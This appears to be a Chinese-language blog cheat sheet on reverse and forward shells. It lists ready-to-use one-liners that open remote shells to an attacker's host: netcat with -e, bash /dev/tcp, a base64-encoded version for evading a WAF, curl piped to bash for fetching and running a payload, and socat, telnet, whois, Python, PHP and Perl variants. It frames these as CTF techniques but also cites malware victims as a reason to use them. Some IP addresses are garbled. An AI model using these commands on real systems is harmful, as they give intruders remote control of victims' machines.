TimeKeeper SKSEC 2024-03-03 19:12 山东
为什么要反弹shell1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求 2、目标机端口被占用 3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接 4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的 反弹shell的方法Windows反弹shell工具:netcat/nc 1、NC正向shell 控制端主动连接被控端 被控端:
nc -lvvp 6666 -e cmd.exe
-l 监听
-vv 显示详细信息
-p 指定端口
控制端:
nc 192.168.162.6666
原理:
被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell2、NC反向shell 被控端主动连接控制端 控制端:
nc -lvvp 6666
被控端:
nc -e cmd.exe 192.168.227 6666
原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shellLinux反弹shell1、NC正向shell 被控端:
nc -lvvp 6666 -e /bin/sh
-l 监听
-vv 显示详细信息
-p 指定端口
控制端:
nc 192.168.162.6666
原理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell2、NC反向shell(做题一般是用反向) 控制端:
nc -lvvp 6666
被控端:
nc -e /bin/sh 192.168.227 6666
原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell3、bash反弹 bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
// base -i 产生一个bash交互环境
// >& 将联合符号前面的内容与后面相结合然后一起重定向给后者
// /dev/tcp/192.168.2.102/7777 linux环境中所有的内容都是以文件的形式存在的,将主机与目标主机 192.168.2.102:7777 端口建立一个**TCP连接**
// 将**标准输入**与**标准输出**内容相结合,然后重定向给前面标准输出内容有 waf 时可以使用 base64 编码执行 bash 反弹 shell bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
// YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== 解码结果为
// bash -i >& /dev/tcp/192.168.2.102/4444 0>&14、curl反弹 这里操作借助了Linux的管道,Kali开启 apache 服务,把 bash 命令写入 html 文件,只要文本包含 bash 一句话即可 bash -i >& /dev/tcp/192.168.2.103/6666 0>&1然后在目标机上执行如下命令 curl 192.168.2.103/bash.html|bash
curl ip:port|`ls|base`5、whois反弹 whois -h 192.168.2.102 -p 4444 `pwd`
// 反弹的shell只能执行后面带的命令6、socat反弹 socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane7、telnet反弹 方法一: mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a方法二: 攻击机开两个监听 nc -lvvp 2333nc -lvvp 4000目标机主动连接攻击机: telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 40008、各种脚本反弹 本地开启监听: nc -lvvp 2333python 脚本 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php 脚本 php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'Perl 脚本 perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'在实际的解题过程中,使用比较多的是nc反弹和bash反弹,使用条件是有一个公网IP来访问到本机。公网IP获取的方法,可以租服务器或者是做内网穿透。
|